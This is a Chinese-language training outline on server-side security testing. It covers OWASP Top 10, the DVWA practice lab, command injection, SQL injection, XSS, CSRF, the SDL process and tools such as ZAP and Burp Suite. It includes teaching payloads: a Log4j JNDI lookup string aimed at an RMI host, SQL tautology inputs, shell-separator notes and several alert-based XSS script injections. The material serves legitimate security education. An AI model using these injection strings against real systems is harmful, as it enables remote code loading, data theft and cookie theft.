测试工程师安全测试教程
服务端安全测试体系
正常业务流程
黑客视角下的业务流程
安全风险触发流程
OWASP Top 10 安全漏洞
Log4J 漏洞示例
- 在系统可能打日志的地方,输入 jndi 语句
- jndi:rmi:192.168.9.23:1099/remote
服务端安全风险层次
- 应用逻辑层 Java Python
- 应用容器层 Spring Log4J Tomcat Jetty Nginx
- 系统层 Linux Windows
- 网络层 路由器 城际网
- 办公环境层 办公电脑 社工风险
安全测试演练环境
DVWA 安全漏洞模拟环境
- 地址:https://dvwa.ceshiren.com/
- 用户名:admin
- 密码:password
部署方式
docker run -d --name dvwa -p 8081:80 vulnerables/web-dvwa
常见漏洞演练
命令注入漏洞
命令注入是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。 当应用程序将用户提供的不安全数据(表格,cookie,HTTP 标头等)传递到 Shell 时,可能会发生命令注入攻击。 在这种攻击中,通常由易受攻击的应用程序以特权执行由攻击者提供的操作系统命令。 由于没有足够的输入验证,因此可能会发生命令注入攻击
命令注入案例
漏洞成因
- 多语句分号:
;
- 条件执行:
&& ||
- 管道符号:
|
SQL 注入漏洞
SQL 注入漏洞原理
SQL 注入(英语:SQL injection),也称 SQL 注入或 SQL 注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏或是入侵
漏洞解释
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
userName = "1' OR '1'='1";
passWord = "1' OR '1'='1";
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
漏洞成因
危害与预防
- 危害:漏洞可以让黑客无限制的使用 SQL,造成数据泄露甚至远程命令执行
- 预防:使用参数化查询避免数据被混在在指令中
XSS 漏洞
XSS 漏洞介绍
跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了 HTML 以及用户端脚本语言。 XSS 攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是 JavaScript,但实际上也可以包括 Java,VBScript,ActiveX,Flash 或者甚至是普通的 HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和 cookie 等各种内容。
漏洞成因
漏洞利用
>
<script>
alert(document.cookie);
</script>
='>
<script>
alert(document.cookie);
</script>
">
<script>
alert(document.cookie);
</script>
<script>
alert(document.cookie);
</script>
<script>
alert(vulnerable);
</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>
alert("XSS");
</script>
<img src="javascript:alert('XSS')" />
<img src="http://888.888.com/999.png" onerror="alert('XSS')" />
危害与防范
危害:危害网站上的其他用户,导致被动执行非预期网页脚本 预防:输入输出过滤、利用浏览器安全机制等 检测:可自动化发现
CSRF 漏洞
CSRF 漏洞介绍与原理
- 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的 Web 应用程序上执行非本意的操作的攻击方法。[1] 跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任
- 跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了 web 中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
漏洞示例
常见的攻击 payload
- 利用 url
- 利用图片请求
- 利用伪造表单
危害与预防
- 危害:导致用户执行非本意的网站请求
- 预防:增加 token 校验、检查 referer
安全测试流程
Security Development Lifecycle(SDL)
- 安全开发生命周期
- 微软出品,定义非常详细
- 阿里、腾讯、百度的安全体系皆最早借鉴与 SDL
分析攻击面
- 输入
- 加密传输 链路加密 敏感信息加密
- 访问控制 明确敏感信息分级,可访问性验证 权限等级
- 参数注入:sql 注入、命令注入、文件注入
- 输出
- XSS
- CSRF
安全测试实施
- 安全测试左移
- SonarQube、FindBugs 等
- 集成测试阶段
- zap、wvs、burpsuite、appscan、sqlmap
- 系统测试
- 业务流程安全探索
- zap、wvs、burpsuite、appscan、sqlmap
安全响应与安全运营
- 经过测试的产品并不一定没有安全漏洞,新漏洞可能会随时出现
- 出现安全事件要及时响应
常见接口安全测试工具
常见安全工具
- 全能型工具
- OWASP ZAP
- WVS
- AppScan
- BurpSuite
- 单维度安全工具
- SqlMap
OWASP ZAP
BurpSuite
安全测试技术点
- 网站信息收集 网站分析 爬取分析 页面流程 接口信息采集
- 认证流程 解决认证问题,cookie token 浏览器复用等方法
- 漏洞扫描 漏洞规则库选取 自动化扫描
- 漏洞库规则更新 及时更新
课程设计
接口安全测试痛点
- 不知道如何实施安全测试
- 不知道常见漏洞的原理与解决方法
- 不知道安全测试应该使用什么工具
教学目标
- 掌握常见安全漏洞的原理与解决方法
- 掌握常用安全测试工具 owasp-zap 的使用
- 掌握安全测试实施能力
大纲
形式 | 章节 | 描述 |
---|---|---|
知识点 | 服务端安全测试体系 | 详解 OWASP 的 top10 安全漏洞与安全防护体系 |
知识点 | 安全测试演练环境 | 搭建安全测试演练环境实操常见安全漏洞 |
知识点 | 常见接口安全测试工具 | zap、burpsuite、sqlmap 等知名安全测试工具介绍 |
知识点 | 安全测试工具 BurpSuite | 黑客与白帽子最常用的安全测试工具详解 |
知识点 | 命令注入漏洞 | 命令注入漏洞原理与实操 |
知识点 | sql 注入漏洞 | sql 注入、sql 盲注等漏洞的原理介绍与实操 |
知识点 | xss 漏洞 | xss 多种漏洞的原理介绍与实操 |
知识点 | csrf 漏洞 | csrf 漏洞原理介绍与实操 |
知识点 | 越权访问漏洞 | |
知识点 | 文件上传 | |
{style="font-size: 32px"} |
实战课程设计
形式 | 章节 | 描述 |
---|---|---|
内容 | OWASP-ZAP 工具介绍与技术架构 | |
内容 | 绕过认证进行安全测试 | |
内容 | 网站结构爬取与分析 | |
内容 | 安全规则选择与漏洞扫描 | |
内容 | 漏洞报告分析 |